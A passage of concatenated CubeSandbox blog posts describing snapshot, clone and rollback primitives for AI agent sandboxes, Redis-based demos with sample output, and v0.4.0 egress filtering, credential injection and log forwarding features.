**[`examples/cube-bench/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench)** — Template-based concurrent creation benchmark tool (Go) * **[`examples/snapshot-rollback-clone/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/snapshot-rollback-clone)** — Snapshot / Rollback / Clone / Pause-Resume Python scripts --- --- url: https://cubesandbox.com/blog/posts/2026-06-03-cubesandbox-v0.3.0-snapshot.md description: >- In modern AI Agent stacks, the sandbox plays the role of a "secure runtime" — executing model-generated code and tool calls. Cube Sandbox v0.3.0, with 82 commits from 22 contributors, is a foundational architecture upgrade aimed at high-concurrency, long-horizon, and reinforcement-learning workloads. Around three new SDK primitives — snapshot / clone / rollback — it brings "environment replication" and "error recovery" down from minutes to milliseconds. --- # Cube Sandbox v0.3.0: A Time Machine and a Cloning Booth for Your AI Agents In modern AI Agent stacks, the sandbox plays the role of a "secure runtime" — it is what actually executes the code and tool calls produced by the model. Cube Sandbox just shipped v0.3.0. Beyond the 82 commits from 22 contributors, this release is a foundational architecture upgrade targeted squarely at the pain points AI Agents hit at scale: runtime reuse and fault isolation under high concurrency, long task chains, and reinforcement-learning workloads. ## 1. Foundations: a more complete AI Infra story Before diving into the headline snapshot work, here is what changed at the foundation. v0.3.0 iterates on three axes: * **Engine internals (cubecow + incremental memory)**: a new copy-on-write (CoW) snapshot engine — `cubecow` — purpose-built for sandbox volumes; on the memory side, an incremental memory snapshot built on the Linux kernel's `soft-dirty` bitmap. In back-to-back snapshot scenarios, the system no longer has to flush full memory; it only persists the dirty pages produced since the last snapshot. As a result, both snapshot creation and restoration drop into the millisecond range per sandbox. * **Developer ecosystem (Go SDK + WebUI)**: following the Python SDK, Go developers now get a native SDK that fully covers the sandbox and template lifecycle. For ops and management workflows, a built-in web console is now live, surfacing per-node resource load and per-sandbox runtime state at a glance. * **Deploy & ops**: the one-click installer has migrated to systemd + Docker Compose, with built-in pre-flight and diagnostic scripts (cgroup v2, etc.) that significantly improve out-of-the-box compatibility across cloud providers. Among these foundational updates, the one that deserves the most attention is the snapshot / rollback / clone system around the sandbox's core state. ## 2. Snapshot / Clone / Rollback: a time machine for your Agent This release introduces three SDK primitives — `snapshot`, `clone`, and `rollback` — that together form a complete state-management story for sandboxes. ### 2.1 What each primitive does **`snapshot` — freeze the current state** Dump the running sandbox's memory, runtime state, and disk to persistent storage as a standalone snapshot file. The snapshot's lifecycle is decoupled from the source sandbox: the snapshot survives the source's destruction, and the snapshot ID can itself act as a template for spinning up new sandboxes in bulk. **`clone` — fan one sandbox out into N** A single call derives N fully independent replicas from a running source sandbox. The key properties: * **Inheritance**: each replica starts from a state identical to the source — memory, files, connections. * **Isolation**: replicas are physically isolated from each other. * **Continuity**: the source sandbox is unaffected and keeps running. The interface ships with a `concurrency=C` knob and an "abort-and-clean-up on any failure" policy, so large fan-outs never leave orphan sandboxes behind. **`rollback` — go back to a moment in one line** A sandbox can be restored in place to a previous snapshot's state — both memory and filesystem fully reverted. After rollback, the `sandbox_id` and the sandbox object stay the same; no reconnection or reconstruction needed. ### 2.2 Why Agents really need these In a classic web service, a container is largely stateless: spin up, serve, throw away. AI Agents do not work that way — they are *cultivated*. Two recurring pain points fall out of that: **First: how do you replicate a sandbox you have already "trained up"?** When you need to run more tasks in parallel, or onboard a new teammate, replaying the setup script from scratch is both slow and unable to faithfully reproduce in-memory context, loaded model weights, or warm caches. With `snapshot + clone`, "thirty minutes × N" becomes "milliseconds × N", and every replica is a fully primed Agent environment. ![One battle-tested source sandbox, N millisecond-cloned replicas](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/01-replicate-env.jpg) **Second: what happens when the environment gets wrecked?** Agents make mistakes — wrong dependencies, deleted files, infinite loops. The traditional answer is "kill the container, rebuild from the image, re-run pip install" — a few minutes lost. `rollback` collapses recovery from minutes to a few hundred milliseconds, with the same `sandbox_id`, so the Agent simply keeps going. ![rollback collapses error recovery from minutes to ~100ms; sandbox\_id unchanged](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/02-rollback-recover.jpg) ### 2.3 Four real-world scenarios these primitives unlock **1) Agentic RL training / SWE-Bench evaluation** * **Pain**: you need a large number of independent runs from the same baseline, and every experiment must be reproducible. * **Cube approach**: ```python # Prepare the baseline environment base = Sandbox.create(template=TEMPLATE_ID) base.run_code("# Install deps, download dataset ...") snap = base.create_snapshot() # Fan out 100 independent instances in parallel clones = Sandbox.create(template=snap.snapshot_id).clone(n=100, concurrency=10) ``` * **Value**: the baseline is built once; every subsequent expansion is a millisecond-grade clone. **2) Parallel multi-strategy exploration** * **Pain**: you want to try several solution paths against the same problem at the same time. * **Cube approach**: use `clone(n=N)` to fork the current state into N isolated sandboxes, run each strategy independently, then aggregate. * **Value**: linear scaling of exploration throughput, with strict experimental parity across runs. **3) Agent trial-and-retry loops** * **Pain**: when one step fails mid-execution, the classic remedy is to kill the sandbox and start over. * **Cube approach**: ```python checkpoint = sb.create_snapshot() sb.run_code("# Try approach A ...") if failed: sb.rollback(checkpoint.snapshot_id) # Back to the moment before A sb.run_code("# Retry with a different approach ...") ``` * **Value**: no environment rebuild — saves time and resources, and maps naturally onto the Agent's trial-and-error pattern. **4) Long-lived environment reuse** * **Pain**: you have configured a complex dev environment (lots of dependencies) and don't want to set it up again every time. * **Cube approach**: take a snapshot once; create every future sandbox from that snapshot. * **Value**: cold start + environment init collapse into a single step. ## 3. How snapshots actually work under the hood In traditional virtualization, snapshots are a heavy ops operation. Cube Sandbox's snapshot system uses `reflink` end-to-end at the storage layer, paired with copy-on-write (CoW) semantics, to deliver efficient snapshot creation and cloning. ![reflink + CoW give us O(1) logical copy at the storage layer](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/03-snapshot-storage.jpg) * **Storage model**: while a sandbox is running, its disk data is mounted in CoW mode, and its memory is similarly `mmap`'d from the snapshot file in CoW mode. Once a sandbox boots, all read-only memory pages map directly to the underlying snapshot file — multiple sandbox instances share one physical copy of the data with no duplication. * **Taking a snapshot**: when a new snapshot is taken for a running sandbox, the system writes only the dirty pages produced since the last snapshot into a new snapshot file — no full serialization, no full write-out. Since dirty pages are typically an order of magnitude smaller than total memory, snapshot I/O cost drops dramatically and end-to-end latency falls. * **Booting from a snapshot**: when creating a new sandbox from an existing snapshot, `reflink` lets the new instance reference the snapshot's metadata blocks directly — a true "logical copy" with no full data duplication. Filesystem-level reflink is roughly O(1), which makes cold-starting a sandbox from a snapshot extremely fast. On top of this storage primitive, the SDK wraps `clone` and `rollback` as simple, single-line operations: ![SDK wraps clone / rollback into one-line calls](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/04-clone-rollback-api.jpg) ## 4. In practice: using snapshot and rollback ### Scenario 1: error isolation and in-place rollback Drop a checkpoint at any meaningful moment in the sandbox's lifecycle. No matter how badly the environment is later mangled, a single `sb.rollback(checkpoint_id)` restores it to that moment — and crucially, the `sandbox_id` and the sandbox object stay the same, so you can keep using them: ```python from cubesandbox import Sandbox from env import TEMPLATE_ID # Step 1: take a base snapshot in the v0 state with Sandbox.create(template=TEMPLATE_ID) as src: src.run_code("open('/tmp/v.txt', 'w').write('v0')") base = src.create_snapshot() base_id = base.snapshot_id print(f"base snapshot (v0): {base_id}") # Step 2: spin up a new sandbox from the base snapshot sb = Sandbox.create(template=base_id) print(f"derived sandbox: {sb.sandbox_id}") # Step 3: write v1 and drop a checkpoint sb.run_code("open('/tmp/v.txt', 'w').write('v1')") checkpoint = sb.create_snapshot() checkpoint_id = checkpoint.snapshot_id print(f"checkpoint (v1): {checkpoint_id}") # Step 4: write v2 and confirm it landed sb.run_code("open('/tmp/v.txt', 'w').write('v2')") before = sb.run_code("print(open('/tmp/v.txt').read())").logs.stdout before = before[0].strip() if before else "" print(f"before rollback: {before!r}") assert before == "v2" # Step 5: roll back to the v1 checkpoint sb.rollback(checkpoint_id) print(f"rolled back to checkpoint {checkpoint_id}") # Step 6: verify state is restored to v1 (sandbox_id unchanged) after = sb.run_code("print(open('/tmp/v.txt').read())").logs.stdout after = after[0].strip() if after else "" print(f"after rollback: {after!r}") assert after == "v1", f"expected 'v1', got {after!r}" print("OK: rollback restored state to checkpoint (v1)") # Cleanup sb.kill() Sandbox.delete_snapshot(checkpoint_id) Sandbox.delete_snapshot(base_id) print("snapshots deleted") ``` ### Scenario 2: parallel exploration via efficient cloning In reinforcement learning or multi-path decision making, `clone` can derive many environments from a single source sandbox in one call — each replica is physically isolated yet inherits the source's full runtime state. The example below clones N replicas and then verifies each one inherited a marker file written into the source: ```python import os from cubesandbox import Sandbox from env import TEMPLATE_ID N = int(os.environ.get("FORK_N", "10")) CONCURRENCY = int(os.environ.get("FORK_CONCURRENCY", "5")) src = Sandbox.create(template=TEMPLATE_ID) src.run_code("open('/tmp/origin.txt', 'w').write('I am from sandbox a')") print(f"src sandbox: {src.sandbox_id}") # ★ Concurrent clone — the SDK fan-outs Sandbox.create internally clones = src.clone(n=N, concurrency=CONCURRENCY) print(f"cloned {len(clones)} sandboxes (concurrency={CONCURRENCY})") # Verify every clone inherited the source's state marker expect = "I am from sandbox a" ok = 0 for i, sb in enumerate(clones): r = sb.run_code("print(open('/tmp/origin.txt').read())") marker = r.logs.stdout[0].strip() if r.logs.stdout else "" if marker == expect: ok += 1 print(f" clone[{i:>2}] {sb.sandbox_id} marker={marker!r}") print(f"\n{ok}/{N} clones inherited the origin marker") assert ok == N, "some clones failed to inherit state" # Cleanup src.kill() for sb in clones: sb.kill() print("all sandboxes killed") ``` Cube Sandbox is deeply E2B-compatible at the protocol level, but these two primitives do not exist in E2B's native API. The Cube team bridges them at the application layer through the `cubesandbox` SDK — meaning developers can unlock these advanced state-management primitives without touching their existing E2B-compatible code. ## 5. A web console for snapshot / clone / rollback (preview), open-sourced alongside In addition to the SDK-level `snapshot` / `rollback` / `clone` API, this release ships an open-source preview of a Cube-Sandbox-powered OpenClaw web console. Everything new in this release is now point-and-click: a real-time snapshot timeline per sandbox, one-click rollback to any checkpoint, on-demand fan-out to multiple OpenClaw replicas, and bulk lifecycle management. What used to require scripting against the SDK — the "time machine" and the "cloning booth" — is now a few clicks in the browser. ![OpenClaw Web Console (preview): timelines, snapshots, and clones, all visualized](./assets/2026-06-03-cubesandbox-v0.3.0-snapshot/05-openclaw-web.jpg) ## Coming soon In the next release we will push "sandbox security" one layer further — from "isolating *where* the Agent runs" to "controlling *what* the Agent can touch": * **Built-in content-aware network control and audit**: content-aware egress access control plus full audit trails at the sandbox network boundary, so "which external API the Agent called and what data it sent out" is fully traceable and interceptable. * **Credential vault**: API keys, database passwords, and cloud credentials managed centrally on the sandbox security side; the Agent only ever sees scoped, ephemeral credentials, keeping secrets out of the model context and out of logs. If you are building anything in this space, follow Cube Sandbox — and consider opening an issue or PR to build with us. * **GitHub repo**: * **Full release notes**: * **Snapshot technical docs**: --- --- url: >- https://cubesandbox.com/blog/posts/2026-06-17-cubesandbox-agent-friendly-service.md description: >- When software consumers shift from humans to Agents, the requirements change fundamentally — creating a service is no longer an ops task, but part of the inference-and-action loop. Neon's $1B acquisition by Databricks validates this thesis. Cube Sandbox turns "fast spawn, clone, and rollback" into a general-purpose runtime capability, letting any traditional software service become Agent-friendly with near-zero code changes. --- # Making Legacy Software Agent-Friendly: Fast Spawn, Branching, and Rollback Traditional software and cloud services were designed for humans. Creating a database, deploying a service, or warming a cache is typically a low-frequency action — waiting tens of seconds or even minutes is acceptable. Humans read consoles, wait for resources to become ready, manually fix errors, and double-check before touching production. Agents work differently. An Agent is not "a faster human" — it is a class of software consumer that automatically executes, iterates through trial and error, and explores in parallel. In a single task it might create multiple databases, launch multiple runtimes, run several migrations, try different dependency combinations, and then continue based on error logs. For an Agent, creating a resource is not an ops task — it is part of the inference-and-action loop. This creates new fundamental requirements: services must be fast to spawn and scale out; instances should be isolated and disposable; state must be saveable during execution; failures must be reversible; and when facing multiple possible paths, the system must be able to fork multiple environments from the same state. Otherwise, every Agent misstep becomes an expensive rebuild — re-installing dependencies, re-importing data, re-starting services, re-running the entire initialization flow. In other words, an Agent-friendly service is more than "has an API." It needs capabilities akin to a code repository: fast creation, branching, state rewind, and automatic cleanup. APIs solve "can it be called?"; snapshots, branching, and rollback solve "can the Agent afford to make mistakes, compare alternatives, and recover?" ![Agent service spectrum](./assets/2026-06-17-cubesandbox-agent-friendly-service/01-agent-service-spectrum.jpg) ## Some Agent-Friendly Services ![Agent-friendly services](./assets/2026-06-17-cubesandbox-agent-friendly-service/02-agent-friendly-services.jpg) Neon is a prime example. It turned Postgres into an Agent-first serverless database — 80% of databases on Neon are created automatically by Agents. For a human developer, a database is typically a long-lived resource created once early in a project and maintained thereafter. For an Agent, every generated application, every preview environment, every schema migration attempt may need its own isolated database. Neon's API-first provisioning lets databases be embedded in an Agent's execution path rather than requiring a human to step out of the workflow. More importantly, Neon made Postgres a versioned data service. Copy-on-write branching lets an Agent fork from an existing database state to test schema migrations, data fixes, or app versions without affecting the primary database. Snapshot, point-in-time recovery, and restore provide database timeline capabilities. If an Agent generates an erroneous migration, it does not need to rebuild the database from scratch — it can rewind to a prior state and try again. The significance goes beyond "creating databases faster." It changes the relationship between the database and the Agent: Postgres is no longer a long-lived resource requiring human ops, but a data service the Agent can dynamically create, branch, rollback, and destroy. And the trend is clear — the share of Agent-driven resource usage is growing rapidly. ![Neon market share](./assets/2026-06-17-cubesandbox-agent-friendly-service/03-neon-market-share.jpg) Neon's rapidly growing Agent-driven market share and its Agent-native product capabilities caught Databricks' attention. In May 2025, Databricks acquired Neon for $1 billion. **"The era of AI-native, agent-driven applications is reshaping what a database must do,"** said Ali Ghodsi, Co-Founder and CEO at Databricks. **"Neon proves it: four out of every five databases on their platform are spun up by code, not humans. By bringing Neon into Databricks, we're giving developers a serverless Postgres that can keep up with agentic speed, pay-as-you-go economics and the openness of the Postgres community."** Turso represents another direction: Agent-friendly SQLite / edge databases. It emphasizes that every user, agent, and tenant can have its own database. SQLite/libSQL's lightweight model naturally suits a large number of small databases, while Turso adds edge replicas, sync, API management, Copy-on-Write branching, and rollback. For Agents, this means memory, task state, and local RAG data don't have to live in one central store — they can become "one branchable mini-database per Agent." Upstash leans toward Agent-ifying middleware services. Redis, queues, vector search, and workflow capabilities traditionally require long-term maintenance. Upstash turns them into on-demand Agent components via REST API, URL + Token, per-request billing, and scale-to-zero. It may not emphasize branching or rollback, but it excels at temporary state, caching, task queues, async tool calls, and RAG storage. These examples share a common trend: traditional services are evolving from "resources used by humans" into "runtime units that Agents can automatically create, replicate, observe, and reclaim." ## CubeSandbox: Generalizing This Capability to Any Software Service Neon and Turso solve branching and rollback for databases; Upstash solves fast provisioning for middleware. But the real software world goes far beyond these. Redis, browsers, development environments, backend services, test systems, and complex dependency stacks can all become Agent operation targets. **The value of CubeSandbox lies in its attempt to generalize "fast spawn, branching, and rollback" from any single service into a universal runtime capability. That is, even if a traditional service inherently lacks fast startup, built-in branching, or rollback, as long as it can run inside a sandbox, it gains these capabilities.** Its core is not simply launching a container. It combines MicroVM isolation with resource pooling, snapshots, filesystem FICLONE, memory-mmap-based CoW, and incremental memory snapshots to let running service state be saved, replicated, and restored in under a hundred milliseconds. "State" here means not just files, but also processes, in-memory data structures, already-running services, and half-completed task contexts. Why is it so fast? First, fast startup comes from pre-built baselines and snapshot cloning. The traditional approach requires booting from scratch, loading images, and starting services; CubeSandbox can start directly from a prepared state, skipping the entire boot path. Second, disk cloning is not a full filesystem copy. CubeSandbox leverages the filesystem's FICLONE mechanism so that new instances initially share existing snapshot data blocks; only on write does a private copy get created. Clone is therefore a metadata operation, not a full disk copy. Third, incremental memory snapshots. Consecutive snapshots don't repeatedly persist all memory — dirty page tracking saves only changed pages. At runtime, mmap-based CoW lets multiple branches share baseline memory state, forking only on modification. Fourth, rollback is not destroy-and-rebuild. It restores the current sandbox in-place to a checkpoint's memory and filesystem state, avoiding re-scheduling, re-connecting, and re-starting services. Failure recovery shifts from "rebuild the environment" to "rewind the state." For a deeper technical walkthrough, see: * [From Serverless to Agent: Design Thinking Behind Cube](./2026-05-22-from-serverless-to-agent.md) * [Cube Sandbox v0.3.0: A Time Machine and a Cloning Booth for Your AI Agents](./2026-06-03-cubesandbox-v0.3.0-snapshot.md) * [CubeSandbox Performance Benchmark Report](./2026-06-03-cubesandbox-perf-benchmark-pvm.md) The diagram below summarizes the relationship between snapshot, clone, and rollback in CubeSandbox: snapshot freezes a running state into a checkpoint; clone forks multiple branches from that checkpoint (or a running sandbox); rollback rewinds a failed branch back to the checkpoint in-place. ![Snapshot / Clone / Rollback relationship](./assets/2026-06-17-cubesandbox-agent-friendly-service/04-snapshot-clone-rollback.jpg) ## Hands-On Examples The following three demo programs showcase CubeSandbox's branching exploration, instant rollback, and how to easily turn a traditional service into an Agent-friendly service with "fast spawn and clone" capabilities. ## Prerequisites 1. Deploy a CubeSandbox service following the [CubeSandbox Quick Start Guide](https://cubesandbox.com/guide/quickstart) 2. Our examples use a Redis service. There are two ways (either works) to build a Redis service template: 2.1 Build a Redis service template yourself following the [Custom Image Guide](https://cubesandbox.com/guide/tutorials/bring-your-own-image) 2.2 Use our pre-built Redis image: ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-image.tencentcloudcr.com/demo/redis-envd:latest \ --writable-layer-size 1G \ --expose-port 6379 \ --expose-port 49983 \ --probe 49983 \ --cpu 1000 \ --memory 1000 ``` This will produce a Template ID. Record it, e.g. `tpl-xxxyyy`: ```bash export CUBE_TEMPLATE_ID=tpl-xxxyyy ``` 3. On the CubeSandbox host, clone the example repository. All examples run on the host: ```bash git clone https://github.com/kinwin-ustc/cube-sandbox-examples.git ``` ### 1. Sub-100ms Branch Cloning This example is from `examples/redis-clone`. It first creates a source sandbox, starts Redis inside it along with a background `pusher.sh` program. This program writes a random value to the Redis `test` list every second, exiting after 10 writes. After about 4 seconds, the Python code calls `src.clone(n=8, concurrency=8)` to clone 8 branches from the running source sandbox at once. How to run: ```bash cd examples/redis-clone python3 redis_clone_demo.py ``` Sample output: ``` [host] creating source sandbox from tpl-e48c5119a5714f3aa7853779 ... [host] source sandbox: 2626f7d437484eafb3318f41eeaffeb3 [host] ensuring redis-server is running ... [host] uploaded pusher program -> /tmp/pusher.sh [host] pusher launched in background [host] letting the program run ~4s ... [host] t=4s -> cloning 8 sandboxes via sb.clone(n=8) [host] clone took 0.387s (0.048s per clone)!! [host] cloned 8 sandboxes: clone[0] 88b9dada96464f34b75ac51e8b7ce9ec clone[1] 9351f4e3af2a48fcb2eac73704f04d13 ... [host] waiting for all programs to finish ... ===== program output of all sandboxes ===== 2626f7d437484eafb3318f41eeaffeb3 test YHATC7qZ AmnOf02A NH2cEZIQ C3cYqTZe C4FgZaOs ... 88b9dada96464f34b75ac51e8b7ce9ec test YHATC7qZ AmnOf02A NH2cEZIQ C3cYqTZe KQ4SD8cJ ... ... =========================================== ``` What this shows: 8 clones took 0.387s total, averaging 0.048s per clone. More importantly, the first 4 elements of the Redis list are identical across the source and cloned sandboxes — the clone inherited Redis's in-memory state at the moment of cloning. But from the 5th element onward, each branch diverges, because after cloning each branch independently continues running its background process. This is not "starting 8 new Redis instances" — it's forking 8 futures from a single runtime state. ### 2. Sub-100ms Event-Level Snapshot Rollback This example is from `examples/rollback-fuzz`. There is a target file `/workspace/rollback_test` in the sandbox. The program builds 10 random commands targeting this file, one of which deletes it. Every second, a random command is selected and executed, and the command is appended to the `command_records` list in Redis. Before each random bash command, the program creates a snapshot; if after execution it detects that the target file was deleted, it immediately rolls back to the pre-execution checkpoint and exits. How to run: ```bash cd examples/rollback-fuzz python3 rollback_fuzz_demo.py ``` Core flow: ```python snapshot = sb.create_snapshot() # Execute a random command and record it in Redis # If /workspace/rollback_test is deleted, rollback to snapshot sb.rollback(snapshot.snapshot_id) ``` Sample output: ``` [host] running, picking one command every 1s ... [step 001] snap=snap-c6c46e31cb484bc885ce437a snapshot took 0.058s wrote 9.7 MiB cmd=cat /workspace/rollback_test > /dev/null [step 002] snap=snap-73e23f6c01b24a36b806c405 snapshot took 0.105s wrote 6.7 MiB cmd=date +%s%N >> /workspace/rollback_test [step 003] snap=snap-d969da92e63745b7a101f010 snapshot took 0.098s wrote 6.6 MiB cmd=rm -f /workspace/rollback_test [host] !! target file deleted by: rm -f /workspace/rollback_test [host] command_records BEFORE rollback (3 items): [00] cat /workspace/rollback_test > /dev/null [01] date +%s%N >> /workspace/rollback_test [02] rm -f /workspace/rollback_test [host] rolling back to snapshot snap-d969da92e63745b7a101f010 ... [host] rollback took 0.121s!! [host] target file restored: True [host] command_records AFTER rollback (2 items): [00] cat /workspace/rollback_test > /dev/null [01] date +%s%N >> /workspace/rollback_test ``` What this shows: Each snapshot before a command takes ~100ms, and every snapshot is incremental (less than 10 MiB written). Rollback restores not just the filesystem but also memory state. Before rollback, Redis had 3 commands recorded including the delete; after rollback, the target file is restored and the delete command record is gone — only the first 2 remain. CubeSandbox rolled back files, memory, and the Redis runtime state all the way to the checkpoint. For an Agent, a mistake no longer means rebuilding the environment — it can rewind in roughly a hundred milliseconds. ### 3. Wrapping Redis as a Fast-Spawn, Cloneable Agent Redis Service This example is from `examples/cube-service-gateway`. Based on a pre-built Redis sandbox template, it connects to CubeSandbox via cube-service-gateway: the Agent simply calls `create redis`, and the gateway maps the `redis -> template_id + service_port` configuration to spin up a Redis sandbox via the Cube API and returns the accessible endpoint. This step is significant: traditional Redis is a stateful service requiring human provisioning, deployment, configuration, and maintenance. After gateway wrapping, it becomes an Agent Redis service with "fast spawn, fast clone, and extensible rollback support." The minimal example demonstrates create / clone / destroy, and the previous rollback example already proved CubeSandbox can restore Redis runtime state. Extending the gateway to expose snapshot / rollback actions would make rollback a service API as well. This architecture is not limited to Redis. As long as you prepare a template for any stateful service — Redis, MySQL, Postgres, Nginx, message queues, or vector databases — and declare the service name, template ID, and port in the gateway config, CubeSandbox provides the corresponding service instance. In other words, Cube provides a "templated stateful service" lifecycle foundation: fast creation, branch cloning, checkpoint saving, failure rollback, and eventual teardown. Architecture diagram: ![Cube Service Gateway architecture](./assets/2026-06-17-cubesandbox-agent-friendly-service/05-cube-service-gateway.jpg) How to run: ```bash cd examples/cube-service-gateway cp config.example.json config.json python3 server.py config.json # In another terminal, create a Redis service python3 client.py create redis # With the sandbox_id, clone the Redis service python3 client.py clone ``` Key configuration mapping: ```json { "templates": { "redis": { "template_id": "tpl-e48c5119a5714f3aa7853779", "service_port": 6379 }, "nginx": { "template_id": "tpl-13df4e20518c465a90c1d7e1", "service_port": 80 } } } ``` Sample output: ``` $ python3 client.py create redis { "sandbox_id": "0f067f5e61ad477fa32d0df45434d51d", "name": "redis", "service_port": 6379, "endpoint": "10.206.0.4:20006" } elapsed: 77.1 ms $ redis-cli -h 10.206.0.4 -p 20006 10.206.0.4:20006> set name rony OK 10.206.0.4:20006> get name "rony" $ python3 client.py clone 0f067f5e61ad477fa32d0df45434d51d { "sandbox_id": "40e42e1e7fe34ae4b995271d39166b2e", "name": "redis", "service_port": 6379, "endpoint": "10.206.0.4:20008" } elapsed: 314.2 ms $ redis-cli -h 10.206.0.4 -p 20008 10.206.0.4:20008> keys * 1) "name" 10.206.0.4:20008> get name "rony" ``` What this shows: `create redis` returns an accessible Redis in 77.1ms. After writing `name=rony`, the cloned Redis still reads `"rony"` — clone took 314.2ms. Redis data state was copied to the new instance. For an Agent, this isn't just "spinning up a cache service" — it's getting a Redis workspace that can fork from any known state. > **Note**: Cloned instances inherit the source's network connections, but these connections can no longer send or receive packets. It's best to explicitly handle stale connections or wait for them to time out. This pattern extends to other stateful services in just two steps: 1. Build a template containing your service following the [Custom Image Guide](https://cubesandbox.com/guide/tutorials/bring-your-own-image), and note the template ID: `tpl-abcdeeff` 2. Edit the cube-service-gateway config to add the new service template: ```json { "templates": { "redis": { "template_id": "tpl-e48c5119a5714f3aa7853779", "service_port": 6379 }, "new_service": { "template_id": "tpl-abcdeeff", "service_port": } } } ``` The service itself remains traditional software. But once connected to CubeSandbox, its lifecycle becomes Agent-friendly: fast spawn, stateful clone, failure rollback, and teardown when the task ends. ## Conclusion What Agents demand of software services is, at its core, a shift in state lifecycle management. We used to care about whether a service ran stably; now we must also ask whether it can be created quickly, branched from any state, rolled back on failure, and exist cheaply at scale. Neon, Turso, and Upstash show that various categories of software are already reshaping their product form around how Agents work. CubeSandbox goes further: it pushes fast startup, snapshots, cloning, and rollback down into a general-purpose runtime environment, allowing traditional services to easily gain "branching" and "time machine" capabilities. Check out the CubeSandbox project: --- --- url: https://cubesandbox.com/blog/posts/2026-06-17-cubesandbox-v0.4.0-release.md description: >- Following v0.3.0's snapshot/clone/rollback trio, v0.4.0 ships 58 commits from 15 contributors centered on three questions: egress governance (CubeEgress L7 proxy + credential injection + domain filtering + access audit), observability (container log forwarding via vsock), and consistency (node component version matrix + template compatibility checks). Also delivers a 41% reduction in network P99 latency and cuts template build peak disk from 4.2x to 1.2x image size. --- # Cube Sandbox v0.4.0: From "Isolating Agents" to "Governing Agents" Two weeks after v0.3.0 shipped the snapshot / clone / rollback trio, v0.4.0 is here. The changelist is broad, but if you had to summarize it in one sentence: **Cube is evolving from a "high-performance isolation runtime" into a "governable Agent infrastructure."** Once isolation is taken to its logical extreme, the next question isn't just "how do we lock the Agent in" — it becomes: * **Egress governance** — What outbound traffic can an Agent send from the sandbox? * **Observability** — Can the outside world see what happens inside the sandbox? * **Consistency** — Across dozens of machines in a cluster, are they really running the same versions? v0.4.0 tackles all three. ## 1. Domain Filtering Cube's networking model has supported AllowOut / DenyOut IP/CIDR filtering since the first release, enabling fine-grained outbound traffic control at the IP level. But in real production scenarios, outbound access typically uses domain names resolved via DNS — the IP addresses aren't known at policy configuration time, and they can change at any moment. This model works for prototyping, but falls short in production. Domain-based filtering strengthens outbound traffic control and better matches how Agents actually use sandboxes. Configuring one or more domains in AllowOut means allowing traffic to the IPs those domains resolve to. AllowOut supports mixing domains and IP/CIDR entries. Domains support both exact match and suffix wildcard patterns — `*.qq.com` allows any subdomain ending in `.qq.com`. DenyOut does not support domains; when AllowOut contains at least one domain, DenyOut must include `0.0.0.0/0` to deny any traffic to non-allowlisted domains. ## 2. CubeEgress: The Sandbox's First L7 Egress Gateway Whether it's the IP/CIDR filtering available since v0.1 or the domain filtering above, both control outbound traffic at the IP level — similar to using NetworkPolicy for L3/L4 isolation. But the Agent's world no longer operates at the L3/L4 abstraction. An Agent calls `https://api.openai.com/v1/chat/completions` — it's a combination of host + path + method. NetworkPolicy cannot see this layer. CubeEgress is a brand-new OpenResty-based egress gateway that intercepts sandbox outbound traffic via TPROXY and enforces L7 policies before requests leave the cluster. It consists of 9 Lua modules running on OpenResty/nginx (~2,200 lines of code) plus Go-side integration — CubeAPI (provides API for configuring sandbox egress policies), CubeMaster (generates and bakes CA certificates into templates), NetworkAgent (policy distribution), and CubeEgress (policy enforcement). SNI and host configured in rules policies are automatically allowlisted in AllowOut, and the corresponding 80/443 HTTP/HTTPS traffic is redirected from CubeVS to CubeEgress for processing. **CubeEgress's design puts the control point at L7.** It works by transparently and selectively intercepting outbound traffic via TPROXY — code inside the sandbox is completely unaware. Requests go out as usual, but must pass through CubeEgress before leaving the cluster. **The policy matching dimensions are five: SNI, host, method, path, scheme. The actions are four: allow, deny, audit, inject.** It also supports writing Lua scripts to easily extend any functionality you need. ### 2.1 L7 Application-Layer Filtering IP/CIDR/domain filtering operates at the destination IP level. CubeEgress supports five-tuple filtering on SNI, host, method, path, and scheme. SNI and host support suffix wildcards, path supports prefix wildcards. Each element is optional, but at least one of SNI/host must be configured to steer traffic to CubeEgress. Each sandbox can be configured with multiple rules, each with five-tuple filtering, matched in order. Each rule can allow or deny to implement fine-grained filtering policies. ### 2.2 HTTPS Proxying When CubeEgress processes HTTPS traffic from sandboxes, it needs to decrypt the traffic. CubeEgress supports a self-distributed certificate service — when a sandbox makes an HTTPS request, it receives a certificate from CubeEgress, completes encryption/decryption with CubeEgress, which then interacts with the original destination service via HTTPS. When building templates, Cube automatically bakes CubeEgress's root certificate into the sandbox image so that certificate validation succeeds. This entire process is closed-loop within Cube. ### 2.3 Credential Injection: Agent Code Never Touches Your API Key Again In the traditional approach, when an Agent inside a sandbox needs to call OpenAI, `OPENAI_API_KEY` is typically injected as an environment variable. This means: the Agent's Python code can read it, any third-party library it imports can read it, it may appear in the LLM context, and it may end up in logs. Any single point of failure, and the key is out. CubeEgress flips this — **the key only exists at the proxy layer and never enters the sandbox.** You configure `EgressRule.inject` to specify "for any request to `api.openai.com`, automatically append `Authorization: Bearer ${KEY}`." Agent code inside the sandbox just sends bare requests or carries any arbitrary key — the real key is attached to the header by CubeEgress at forwarding time. From code to logs, the Agent never touches the original key. In CubeEgress's own security audit logs, credential fields are also replaced with `***REDACTED***`, preventing audit logs from becoming an exfiltration channel. ### 2.4 Auditing: Every Outbound Request Leaves a Traceable Structured Record Every request passing through CubeEgress generates a structured JSON log — which domain was accessed, what method was used, what headers were present, what the body contained. Combined with the redactor Lua module for request body desensitization, you can retroactively trace what the Agent accessed without writing user PII into logs. ## 3. Container Log Forwarding: Sandbox Output Is Now Visible to the Host Previously, stdout/stderr output from container processes stayed inside the sandbox — invisible to the host. Debugging required `cubecli exec` to dig around; production log aggregation was impossible. The difficulty is that sandboxes are hardware-isolated MicroVMs, not ordinary containers. stdout/stderr can't be read from the host process's fd like `docker logs`. You must capture inside the sandbox, transport across the VM boundary, and persist on the host side — without using the business network, or logs and application traffic get mixed together. v0.4.0's solution is a **dedicated vsock channel**: * **Sandbox agent side**: Detects the need to open a log channel via the `cube.container.log_forwarding=true` annotation injected by the shim. Creates pipes for the init process's stdout/stderr with 1 MiB buffer, `O_NONBLOCK` — these two parameters are critical, **ensuring that slow log writes never block the Agent process**. * 